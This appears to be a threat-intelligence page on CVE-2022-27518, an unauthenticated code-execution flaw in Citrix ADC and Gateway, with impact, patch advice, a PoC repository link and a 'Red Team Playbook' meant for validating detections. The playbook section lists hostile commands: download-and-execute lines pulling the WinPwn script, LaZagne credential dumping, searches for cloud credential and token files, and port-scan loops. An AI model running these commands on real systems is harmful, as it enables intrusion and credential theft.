CVE-2022-27518
Overview
This vulnerability is an unauthenticated remote arbitrary code execution flaw rooted in improper input validation within the Citrix Gateway and Citrix ADC firmware components. The issue arises from a flaw in the processing of specific network requests that allows execution of arbitrary commands without requiring any authentication. The affected components include the application delivery controller and gateway firmware, specifically in modules handling incoming network traffic.
Vulnerability Description
Unauthenticated remote arbitrary code execution
Impact
An attacker can execute arbitrary code remotely on affected Citrix Gateway and ADC devices without any authentication or user interaction. This enables full system compromise, including control over network traffic and sensitive data passing through the appliance. The vulnerability facilitates unauthorized access, data exfiltration, lateral movement within networks, and potential disruption of critical enterprise services relying on these devices.
Solution
Citrix has released security updates addressing this vulnerability in the latest firmware versions for Citrix Gateway and ADC. Administrators should apply the patches as detailed in Citrix advisory CTX474995 available at https://support.citrix.com/article/CTX474995. The advisory provides specific firmware versions that remediate the issue and recommends immediate upgrade to those versions. No temporary workarounds are documented, so patching is the primary mitigation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to unauthenticated remote arbitrary code execution within specific firmware versions of Citrix Application Delivery Controller and Citrix Gateway. This critical flaw allows an attacker to execute arbitrary code on the affected systems without requiring any form of authentication. The root cause typically lies in improper input validation or insufficient access controls, which can be exploited to send specially crafted requests to the vulnerable components. This can lead to unauthorized access and control over the device, potentially compromising the entire network infrastructure.
Attack vectors for this vulnerability are particularly concerning due to the lack of authentication required for exploitation. An attacker could leverage this weakness by targeting devices exposed to the internet or accessible within an organization’s internal network. Common exploitation scenarios may involve sending crafted HTTP requests that trigger the execution of malicious payloads. Given the nature of the affected products, which often serve as critical components in managing application delivery and secure access, the potential for widespread impact is significant. Attackers could not only gain control over the affected devices but could also pivot to other systems within the network, escalating their privileges and furthering their malicious objectives.
The real-world impact of this vulnerability is profound, particularly for organizations relying on Citrix products for their application delivery and remote access services. A successful exploitation could lead to data breaches, loss of sensitive information, and significant operational disruptions. The business risks associated with such incidents include financial losses, reputational damage, and potential legal ramifications stemming from non-compliance with data protection regulations. Organizations may find themselves facing costly recovery efforts, as well as increased scrutiny from stakeholders and regulatory bodies. The high CVSS score of 9.8 underscores the urgency for organizations to address this vulnerability promptly to mitigate potential threats.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected firmware is crucial, as vendors typically release updates that address known vulnerabilities. Additionally, organizations should employ network segmentation to limit exposure of critical systems and implement robust firewall rules to restrict access to the affected devices. Intrusion detection and prevention systems can also be utilized to monitor for suspicious activity indicative of exploitation attempts. Conducting regular security assessments and penetration testing can help identify potential weaknesses before they can be exploited by malicious actors.
In conclusion, the unauthenticated remote arbitrary code execution vulnerability in Citrix firmware presents a serious threat to organizations utilizing these products. The potential for widespread exploitation, coupled with the severe impact on business operations and data security, necessitates immediate attention. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk profile and safeguard their critical infrastructure against this and similar vulnerabilities.
CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2022-27518, coinciding with the emergence of a publicly available proof-of-concept exploit on GitHub. This development has broadened the exploit landscape, enabling a wider range of threat actors to test and potentially weaponize the vulnerability. Our telemetry indicates that this increased exploitation interest has prompted the inclusion of CVE-2022-27518 in the CISA Known Exploited Vulnerabilities (KEV) catalog, underscoring its elevated priority for federal and private sector defenders. The assignment of a high CVSS score of 9.8 reflects the criticality of the vulnerability and aligns with the observed surge in exploitation attempts. Although the EPSS score shows a moderate increase, the trend suggests sustained exploitation potential rather than a rapid spike. This evolution significantly heightens the threat level, as unauthenticated remote code execution vulnerabilities with accessible exploit code typically accelerate adversary activity and reduce the window for effective defense. Consequently, organizations relying on affected Citrix products face an increased risk of compromise from opportunistic and targeted attacks.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Citrix | Application Delivery Controller Firmware | All |
cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:fips:*:*:*
|
|
|
Citrix | Application Delivery Controller Firmware | All |
cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:ndcpp:*:*:*
|
|
|
Citrix | Application Delivery Controller Firmware | All |
cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
|
|
|
Citrix | Application Delivery Controller Firmware | All |
cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
|
|
|
Citrix | Gateway Firmware | All |
cpe:2.3:o:citrix:gateway_firmware:*:*:*:*:*:*:*:*
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|
|
Citrix | Gateway Firmware | All |
cpe:2.3:o:citrix:gateway_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
dolby360/CVE-2022-27518_POC
A POC on how to exploit CVE-2022-27518
|
dolby360 | 2 | 0 | 2023-01-17 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-27518 |
| support.citrix.com |
GitHub CVE
|
https://support.citrix.com/article/CTX474995 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-27518 |